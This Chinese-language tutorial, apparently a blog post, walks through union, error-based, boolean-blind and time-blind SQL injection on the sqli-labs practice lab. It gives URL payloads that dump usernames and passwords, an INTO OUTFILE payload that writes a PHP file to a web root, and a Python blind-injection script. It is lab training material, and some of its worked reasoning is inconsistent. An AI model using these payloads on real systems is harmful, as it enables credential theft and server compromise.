1.Sql注入介绍
注入攻击:
注入攻击的本质,是把用户输入的数据当做代码执行,或者生成其他语义的内容。因此注入攻击有两个关键条件:1.用户能够控制输入 2.原本要执行的代码块拼接用户的数据。
Sql注入:
SQLI,sql injection,我们称之为sql注入。何为sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用sql语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入。
2.靶场的安装
windows下环境搭建:
对于sqli-labs靶场的安装在另外一篇文章里,这里我是基于windows环境下安装的。http://t.csdnimg.cn/aG2Wj
linux下环境搭建
3.注入复现
联合查询:
Less-1:打开界面可以看到我们需要输入一个id,试着传入id=1
可以看到查出了登录密账号和密码,判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误(逃脱单引号的控制),可以看到确实报错了,说明是存在SQL注入,下面就是看看数据库有多少列 order by检测他的列数,求当前表的列数。
可以使用下面两种形式来判断:
?id=1' order by 3--+
?id=1' order by 4--+
?id=1' union select 1,2,3 --+
?id=1' union select 1,2,3,4 --+
可以判断出数据库是有3列的然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列
这里可以让第一个表查询为空
?id=-1' union select 1,2,3 --+
接着我们需要查询出数据库名称(可以把2,3列换成Mysql自带的函数)
?id=-1' union select 1,database(),3 --
知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+
?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+
报错注入:
报错注入:
1. extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。2. updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。3. floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
这里可以看到存在注入,所以可以来尝试查询一下数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+
这里我们知道了列数为3,但是无论怎么进行查询,结果都会显示You are in .........
但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
在之后利用数据库名+inforamtion_schema数据库来进行后续的注入,说使用updatexml来查询表中数据时,会出现查询数据不完整的问题,可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置:
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+
(secure_file_priv):
这一关的条件很苛刻:
mysql的用户权限为root
知道网站的物理路径
sercure_file_priv参数必须为空
先尝试是否可以闭合报错,最后发现需要闭合'))
可以使用上面的报错注入函数尝试注入一下,并没有注入出,而是告诉我有语法错误:
id=1')) and updatexml(1,concat(0x7e,databse(),0x7e),3)--
当我们输入为id=1时:提示的应该有用的,可以使用输入/输出文件
show variables like '%secure%';使用这个命令可以查看 secure-file-priv 当前的值,如果显示为NULL,则需要将其设置为物理服务器地址路径/路径设置为空,才可以导出文件到指定位置
into outfile 写文件 用法: select 'mysql is very good' into outfile 'test1.txt‘;
假设这些条件我们都满足那么我们就可以将一个php文件来写入到服务的目录:
?id=1')) union select 1,"<?phpinfo();?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+
但是上面查询到的secure_file_priv字段Mysql规定这个值为NULL,不允许进行文件导入导出操作,因此现在我们来将该值修改为空
布尔盲注:
尝试可以使用'))来闭合,没有报错:
如果传入的id为1,则会显示:
针对这种的显示,无论是联合查询哈市报错注入都无法注入成功的,就可以使用布尔盲注,这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据:
利用上面的那些函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值,比如我们可以先使用 length函数 + 二分法来尝试:
?id=1' and (select length(database())>1) and 1=1 --+ true
?id=1' and (select length(database())>10) and 1=1 --+ flase
?id=1' and (select length(database())>5) and 1=1 --+ true
?id=1' and (select length(database())>6) and 1=1 --+ true
?id=1' and (select length(database())>8) and 1=1 --+ flase
通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7,得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,就可以得到完整的数据库名称:
?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+
?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+
?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+
根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”。然后通过这个方法,我们可以首先通过information_schema库中的tables表查看我们注入出的数据库下的所有的表的数量,然后我们按照limit的方法选取某个表,通过length得到它的名字的长度,随后就可以得到它的完整表名,同理通过columns表获得某个表下的所有字段数量,并且获得每个字段的名称长度和具体名称,最后就是查出指定表下的记录数量,并且根据字段去获取某条记录的某个字段值的长度,随后就是是获得该值的内容。
手工方法会非常的费时费力,我们可以使用python写一个二分法查找的布尔盲注脚本来方便使用:
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-8/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
params = {"id": payload}
r = requests.get(url, params=params)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
时间盲注:
可以看到,不管我们是闭合还是正常的查询,结果始终都是不变的,当布尔盲注无法解决,就可以使用时间盲注,时间盲注是观察页面的页面响应时间来逐个判断出数据库的各个信息。
手工注入:
因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注,根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断
if的语法三元运算符函数:
语法:IF(condition, value_if_true, value_if_false)
condition是一个条件表达式,条件成立,返回value_if_true,否则返回value_if_false。利用这一点来进行时间盲注:
?id=1' and if(length(database())=1,sleep(5),1)--+
?id=1' and if(length(database())=10,sleep(5),1)--+
?id=1' and if(length(database())=7,sleep(5),1)--+
?id=1' and if(length(database())=8,sleep(5),1)--+
可以注入出数据库的长度是7,然后使用ascii+sleep来注入出数据库的名称:
?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+
...
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+